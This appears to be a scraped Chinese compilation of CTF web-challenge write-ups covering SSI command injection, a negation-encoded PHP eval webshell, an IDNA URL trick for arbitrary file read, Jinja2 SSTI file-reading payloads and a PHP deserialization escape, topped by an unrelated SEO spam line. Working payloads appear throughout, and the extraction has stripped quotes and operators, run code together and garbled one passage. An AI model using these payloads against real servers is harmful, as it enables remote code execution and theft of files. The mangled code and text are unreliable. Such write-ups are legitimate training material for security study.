长沙网站设计公司推荐,无极电影网评,包头做网站,中国建设网站官网命令执行 [BJDCTF2020]EasySearch1
打开题目 尝试弱口令#xff0c;发现没有用
扫描一下后台#xff0c;最后用御剑扫描到了index.php.swp
访问一下得到源码 源码如下
?phpob_start();function get_hash(){$chars ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstu…命令执行 [BJDCTF2020]EasySearch1
打开题目 尝试弱口令发现没有用
扫描一下后台最后用御剑扫描到了index.php.swp
访问一下得到源码 源码如下
?phpob_start();function get_hash(){$chars ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!#$%^*()-;$random $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times$content uniqid().$random;return sha1($content); }header(Content-Type: text/html;charsetutf-8);***if(isset($_POST[username]) and $_POST[username] ! ){$admin 6d0bc1;if ( $admin substr(md5($_POST[password]),0,6)) {echo scriptalert([] Welcome to manage system)/script;$file_shtml public/.get_hash()..shtml;$shtml fopen($file_shtml, w) or die(Unable to open file!);$text ******h1Hello,.$_POST[username]./h1******;fwrite($shtml,$text);fclose($shtml);***echo [!] Header error ...;} else {echo scriptalert([!] Failed)/script;}else{***}***
?
代码审计一下
发现当username不为空并且admin等于6d0bc1和password的md5值的前六位的值相同就登陆 $admin 6d0bc1; if ( $admin substr(md5($_POST[password]),0,6)) { echo scriptalert([] Welcome to manage system)/script; 这里我们用大佬的md5脚本
import hashlibfor i in range(1000000000):a hashlib.md5(str(i).encode(utf-8)).hexdigest()if a[0:6] 6d0bc1:print(i)print(a)
得到可以绕过的字符
202066623050049162671
输入账户名admin和密码进入系统发现在响应头中有
Url_is_here:public/a6218d90d88caf08e78eeed8b9c1baafad25d5ae.shtml
看到shtml应该要想到Apache SSI 远程命令执行漏洞
然后利用shtml的命令执行可控参数是username
用hackbar传一下参数
payload1username!--#exec cmdls ../--password9162671 payload2username!--#exec cmdcat ../flag_990c66bf85a09c664f0b6741840499b2--password9162671 得到flag{a6b6a42a-7ae2-44f0-a156-83494c51a4bf} 知识点
shtml是一种用于SSI技术的文件——Server Side Include--SSI。 SSI是为WEB服务器提供的一套命令这些命令只要直接嵌入到HTML文档的注释内容之中即可 命令执行 [极客大挑战 2019]RCE ME 1
打开题目 是GET方式获取code如果长度超过40 不执行含有字母数字不执行满足条件就当做php执行并且不报错可以用异或或者取反绕过
异或绕过是指使用各种特殊字符的异或构造出字母和数字。取反绕过是对语句取反。 先查看phpinfo 生成过程 即对查询语句取反然后编码。在编码前加上~进行取反括号没有被过滤不用取反。构造完的语句进行查询 用hackbar传参
成功绕过查看phpinfo
发现对一些行数进行控制 写一句话
?php
error_reporting(0);
$aassert;
$burlencode(~$a);
echo (~.$b.);
$c(eval($_POST[1]));
$durlencode(~$c);
echo (~.$d.);
?我们不能直接使用eval 因为 eval并不是php函数 所以为我们无法通过变量函数的方法进行调用。 在这里我们使用 assert 来构造但由于php版本问题我们并不能直接构造?php assert( P O S T [ ′ a ′ ] ) ; , 我 们 需 要 调 用 e v a l 拼 接 为 a s s e r t e v a l ( _POST[a]);,我们需要调用eval 拼接为 asserteval( POST[′a′]);,我们需要调用eval拼接为asserteval(_POST[test]) 利用蚁剑连接 但不能执行命令和cat flag 利用蚁剑的插件进行bypass: 点击开始进入 利用readflag得到flag: [SUCTF 2019]Pythonginx 1
打开题目 我们需要提交一个url用来读取服务器端任意文件
简单来说需要逃脱前两个if成功进入第三个if。
而三个if中判断条件都是相同的不过在此之前的host构造却是不同的这也是blackhat该议题中想要说明的一点
当URL 中出现一些特殊字符的时候输出的结果可能不在预期
接着我们只需要按照getUrl函数写出爆破脚本即可得到我们能够逃逸的构造语句了
这里借用大佬的脚本
from urllib.parse import urlparse,urlunsplit,urlsplit
from urllib import parse
def get_unicode():for x in range(65536):unichr(x)urlhttp://suctf.c{}.format(uni)try:if getUrl(url):print(str: uni unicode: \\ustr(hex(x))[2:])except:passdef getUrl(url):urlurlhostparse.urlparse(url).hostnameif host suctf.cc:return Falsepartslist(urlsplit(url))hostparts[1]if host suctf.cc:return Falsenewhost[]for h in host.split(.):newhost.append(h.encode(idna).decode(utf-8))parts[1]..join(newhost)finalUrlurlunsplit(parts).split( )[0]hostparse.urlparse(finalUrl).hostnameif host suctf.cc:return Trueelse:return Falseif __name____main__:get_unicode()
最后输出的结果有 先读一下etc/passwd 题目提示我们是nginx所以我们去读取nginx的配置文件
这里读的路径是 /usr/local/nginx/conf/nginx.conf
看到有 于是访问http://29606583-b54e-4b3f-8be0-395c977bfe1e.node3.buuoj.cn/getUrl?urlfile://suctf.c%E2%84%82/../../../../..//usr/fffffflag
得到flag 知识点 配置文件存放目录/etc/nginx 主配置文件/etc/nginx/conf/nginx.conf 管理脚本/usr/lib64/systemd/system/nginx.service 模块/usr/lisb64/nginx/modules 应用程序/usr/sbin/nginx 程序默认存放位置/usr/share/nginx/html 日志默认存放位置/var/log/nginx [GYCTF2020]FlaskApp 1
打开题目 hint:失败的意思就是要让程序运行报错,报错后会暴露源码。
base64decode在不会解析的时候就会报错。
随便输一段不能加密的 报错抛出debug信息看来是开启了debug模式
而且读到了app.py的部分代码 大致的逻辑就是获取text参数进行解密如果可以过waf则执行代码
app.route(/decode,methods[POST,GET])
def decode():if request.values.get(text) :text request.values.get(text)text_decode base64.b64decode(text.encode())tmp 结果 {0}.format(text_decode.decode())if waf(tmp) :flash(no no no !!)return redirect(url_for(decode))res render_template_string(tmp) 关键代码如下:
获取我们传的text参数进行解密如果可以过waf则执行代码。
app.route(/decode,methods[POST,GET])
def decode():if request.values.get(text) :text request.values.get(text)text_decode base64.b64decode(text.encode())tmp 结果 {0}.format(text_decode.decode())if waf(tmp) :flash(no no no !!)return redirect(url_for(decode))res render_template_string(tmp)可以使用ssti注入。
因为直接cat flag发现是得不到目录的。
所以要思索一下他是不是过滤了什么
读源码
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__catch_warnings %}{{ c.__init__.__globals__[__builtins__].open(app.py,r).read() }}{% endif %}{% endfor %}waf函数发现了过滤
原来是flag和os等被过滤。
def waf(str):black_list [#34;flag#34;,#34;os#34;,#34;system#34;,#34;popen#34;,#34;import#34;,#34;eval#34;,#34;chr#34;,#34;request#34;,#34;subprocess#34;,#34;commands#34;,#34;socket#34;,#34;hex#34;,#34;base64#34;,#34;*#34;,#34;?#34;]for x in black_list :if x in str.lower() :return 1利用字符串拼接找目录
发现了this_is_the_flag.txt
{{.__class__.__bases__[0].__subclasses__()[75].__init__.__globals__[__builtins__][__import__](os).listdir(/)}}#IHt7JycuX19jbGFzc19fLl9fYmFzZXNfX1swXS5fX3N1YmNsYXNzZXNfXygpWzc1XS5fX2luaXRfXy5fX2dsb2JhbHNfX1snX19idWlsdGluc19fJ11bJ19faW1wJysnb3J0X18nXSgnbycrJ3MnKS5saXN0ZGlyKCcvJyl9fQ读取使用切片省去了拼接flag的步骤
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__catch_warnings %}{{ c.__init__.__globals__[__builtins__].open(txt.galf_eht_si_siht/[::-1],r).read() }}{% endif %}{% endfor %}#eyUgZm9yIGMgaW4gW10uX19jbGFzc19fLl9fYmFzZV9fLl9fc3ViY2xhc3Nlc19fKCkgJX17JSBpZiBjLl9fbmFtZV9fPT0nY2F0Y2hfd2FybmluZ3MnICV9e3sgYy5fX2luaXRfXy5fX2dsb2JhbHNfX1snX19idWlsdGluc19fJ10ub3BlbigndHh0LmdhbGZfZWh0X3NpX3NpaHQvJ1s6Oi0xXSwncicpLnJlYWQoKSB9fXslIGVuZGlmICV9eyUgZW5kZm9yICV9 得到flag [0CTF 2016]piapiapia 1
打开题目 一般看到登录框就以为是sql注入题这道题不是
这道题存在源码泄露在网站目录会泄漏一个www.zip文件 首先御剑发现个注册页面注册上去看到个上传测试多次无果 打开源码只有几个php文件还好先看config.php敏感文件看到了flag后面可能会用到config.php 然后依次打开其他几个文件看看有没有什么敏感函数发现了三处profile.php有两处 unserialize和file_get_contents。 update.php的serialize 反序列化也是为危险函数做贡献的所以我们的注意点就在file_get_contents上应该是让我们通过这个函数去请求config.php文件。看一下参数怎么传过来的在profile.php里它是$profile数组里键名为photo的键值 $profile又是通过$user的show_profile函数传过来的而且传过去了$username参数 跟进去class.php下user类里面 user类继承了mysql类这里先调用了父类的filter函数。 这里是替换字符串中的单引号和反斜杠为下划线 并且替换多个字符串为hacker。 implode函数是表示把数组拼接起来拼接符是 “|” 然后show_profile里面又调用了父类的select函数 可以看到数据是从表里取出来的那就要看什么时候插入数据了全文搜索insert或者update在select函数的下面找到 那现在就看哪里调用了这个函数还是在这个class.php文件里找到了调用在这里做了同样的过滤才更新数据 继续找update_profile函数的调用在update.php文件里找到 可以看到这里对$profile进行了赋值值是通过post传过来的。 调用链反过来看是这样
profile.php的file_get_contents 》 show_profile() 》 class.php里的select() 》 数据库 》 class.php里的update() 》 update_profile() 》 update.php里调用传参。
从前往后看参数传递 整个调用链反过来推清楚了。那现在我们从前往后绕过诸多限制进行攻击。先看update.php文件里面的photo参数。 我们盯上了它的前一个参数——nickname参数这里就要利用到序列化的拼接伪造对nickname参数攻击比如该序列化字符串
a:3:{s:4:dddd;s:6:ddddhm;}在dddd的地方输入 dddd;s:10:“buhaobuhao”;} 就变成了
a:3:{s:25:dddd;s:10:buhaobuhao;};s:6:ddddhm;}dddd前面的字符串长度也变了变成25了所以这里会报错。我们就要想办法把dddd变成25位长度还差21位。 先对它进行了正则这个正则的意思是匹配除了a-zA-Z0-9_之外的字符,因为 “^” 符号是在 “[]” 里面所以是非的意思不是开始的意思。
然后 “||” 后面判断了它的长度是否大于10。
我们的nickname[]数组实际长度是39位除了where多出来了34位。这个时候strlen(where) 5 ! 39不是指定的长度会报错所以我们要想办法把where那块地方在序列化之后注意时间点再增长34位。
payload
wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere;}s:5:photo;s:10:config.php;}
随便输入账号密码注册 用这个账号登录发现到了注入的页面在nickname位置输入payload抓包记得把nickname改成nickname[] 数组 点超链接到profile.php看源代码找到image里面的base64字符串 解码得到flag 参考文章
BUUCTF-WEB 【0CTF 2016】piapiapia 1_[0ctf 2016]piapiapia 1-CSDN博客
GYCTF2020 FlaskApp_ctf flaskapp-CSDN博客
[0CTF 2016]piapiapia WP(详细)_[0ctf 2016]piapiapia wp-CSDN博客
[SUCTF 2019]Pythonginx 1-CSDN博客
[极客大挑战 2019]RCE ME 1-CSDN博客